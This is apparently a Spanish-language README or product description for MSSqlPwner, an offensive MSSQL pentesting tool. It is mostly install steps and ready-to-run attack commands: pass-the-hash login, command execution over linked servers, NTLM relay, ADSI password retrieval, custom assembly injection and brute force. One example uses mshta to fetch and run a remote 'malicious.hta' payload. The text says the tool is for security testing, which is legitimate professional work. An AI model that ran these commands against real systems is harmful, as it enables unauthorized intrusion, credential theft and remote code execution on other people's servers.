
Herramienta avanzada de pruebas de penetración en MSSQL para movimiento lateral, ejecución de comandos, relé NTLM y ataques de fuerza bruta a través de servidores vinculados y múltiples métodos de autenticación.
MSSqlPwner es una herramienta de pentesting avanzada y versátil diseñada para interactuar y comprometer servidores MSSQL de manera fluida.
Esta herramienta está basada en impacket, lo que permite a los atacantes autenticarse en bases de datos mediante contraseñas en texto claro, hashes NTLM y tickets Kerberos.
Con MSSqlPwner, los usuarios pueden ejecutar comandos personalizados a través de diversos métodos, incluyendo ensamblados personalizados, xp_cmdshell, sp_oacreate (Procedimientos de Automatización OLE) y mucho más.
La herramienta comienza con una enumeración recursiva de servidores vinculados y posibles suplantaciones para recopilar todas las cadenas posibles para la ejecución de comandos.
Además, MSSqlPwner se puede utilizar para capacidades de retransmisión NTLM, utilizando funciones como xp_dirtree, xp_subdirs, xp_fileexist.
Esta herramienta puede ser utilizada para evaluaciones de movimiento lateral y exploración de servidores vinculados.
Si el usuario autenticado de MSSQL no tiene permiso para realizar ciertas operaciones, la herramienta puede encontrar la cadena correcta que permita la ejecución de comandos. Por ejemplo, si tu usuario no puede ejecutar comandos en el contexto actual, la herramienta construirá una cadena que utilice un servidor vinculado y se conecte de vuelta a nuestro servidor con privilegios elevados.
Empezar con mssqlpwner es muy sencillo. Puedes hacerlo extrayendo directamente del repositorio:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
O, usando pipx —y deberías—, prueba esto:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Y ahora puedes usar tu nueva herramienta favorita:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
Esta herramienta es compatible con múltiples métodos de autenticación que se describen a continuación.
Esta herramienta está diseñada para profesionales de seguridad e investigadores únicamente con fines de prueba y no debe utilizarse para fines ilegales.
interactive: permite usar la herramienta de forma interactiva con ejecución en vivo.enumerate: enumera los servidores vinculados y las cadenas.get-chain-list obtiene la lista de cadenas:
-filter-hostname HOSTNAME - Obtiene resultados filtrados con un nombre de host específico.get-link-server-list obtiene la lista de servidores vinculados.set-chain Establece el ID de la cadena (¡Solo para modo interactivo!)
CHAIN - El ID de la cadena a establecer.set-link-server Establece el servidor vinculado (¡Solo para modo interactivo!)
LINK - El servidor vinculado a establecer.get-rev2self-queries recupera consultas para revertir a SELF (¡Solo para modo interactivo!).get-adsi-provider-list recupera la lista de proveedores ADSI.exec Ejecuta comandos usando exec en el servidor local o en servidores vinculados.
COMMAND - El comando a ejecutar.-command_execution_method - El método de ejecución de comandos a utilizar.
xp_cmdshell - Ejecuta comandos usando el procedimiento xp_cmdshell (Por defecto).sp_oacreate - Ejecuta comandos usando el procedimiento Ole Automation Procedure (Debe usarse como "cmd /c algo").retrieve-password Recuperación de contraseñas de proveedores ADSI.
-listen-port - El puerto en el que escuchar (Por defecto: 1389).-adsi-provider - Proveedor ADSI a utilizar (si no se define, se elegirá automáticamente).-arch - La arquitectura a utilizar (si no se define, se elegirá automáticamente).
x86 - Usar arquitectura x86.x64 - Usar arquitectura x64.ntlm-relay - Fuerza retransmisión NTLM a un servidor.
SMB_SERVER - El servidor SMB al que retransmitir.-relay-method - El método de retransmisión a utilizar.
xp_dirtree - Usar procedimiento xp_dirtree (Por defecto).xp_subdirs - Usar procedimiento xp_subdirs.xp_fileexist - Usar procedimiento xp_fileexist (En algunas situaciones este módulo debe ejecutarse desde una cadena privilegiada).custom-asm - Ejecuta procedimientos usando ensamblados personalizados.
COMMAND - El comando/ruta o consulta a usar.-procedure-name - El nombre del procedimiento a usar (Por defecto: execute_command).
execute_command - Ejecuta comandos usando ensamblado personalizado (Por defecto).run_query - Ejecuta consultas usando ensamblado personalizado.run_query_system_service - Ejecuta consultas usando ensamblado personalizado como usuario del sistema (Como SqlSVC).inject-custom-asm Inyecta código usando ensamblado personalizado.
file_location - La ubicación del archivo a inyectar.-procedure-name - El nombre del procedimiento a usar (Por defecto: ).direct-query Ejecuta consultas directas.QUERY - La consulta a ejecutar.-query-method - El método de consulta a utilizar.
OpenQuery - Usar procedimiento OpenQuery (Por defecto).exec_at - Usar procedimiento exec AT.brute Lanza fuerza bruta (Puede recibir tickets, hashes y contraseñas).TARGETS_FILE - Un archivo que contiene hosts e IPs para hacer fuerza bruta.-ul - Un archivo que contiene usuarios para hacer fuerza bruta.-pl - Un archivo que contiene contraseñas para hacer fuerza bruta.-tl - Un archivo que contiene tickets para hacer fuerza bruta.-hl - Un archivo que contiene hashes para hacer fuerza bruta.-link-name - El nombre del servidor vinculado a usar-chain-id - El ID de la cadena a usar-max-link-depth - La profundidad máxima del enlace a usar (Por defecto: 10)-max-impersonation-depth - La profundidad máxima de suplantación a usar (Por defecto: 10)-auto-yes - Responder automáticamente sí a todas las preguntas (Por defecto: False)-timeout - El tiempo de espera a usar (Por defecto: 30)MSSqlPwner proporciona oportunidades para evaluaciones de movimiento lateral y exploración de servidores vinculados. En escenarios donde la sesión actual carece de privilegios administrativos, la herramienta intenta encontrar una cadena que eleve sus propios privilegios a través de servidores vinculados. Si una sesión en un servidor vinculado tiene privilegios más altos, la herramienta puede interactuar con el servidor vinculado y realizar una consulta vinculada de vuelta al host con privilegios elevados, permitiendo el movimiento lateral hacia el servidor objetivo.
Compatible con múltiples métodos de autenticación, incluyendo:
La herramienta se adapta a diversos escenarios y entornos, verificando la efectividad de los mecanismos de autenticación.
Lleva tus evaluaciones de entornos MSSQL al siguiente nivel con el poder y la versatilidad de MSSqlPwner. Descubre nuevas posibilidades para movimiento lateral, consultas sigilosas y evaluaciones de seguridad precisas con la herramienta MSSqlPwner.
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self revierte a SELF (¡Solo para modo interactivo!).Inject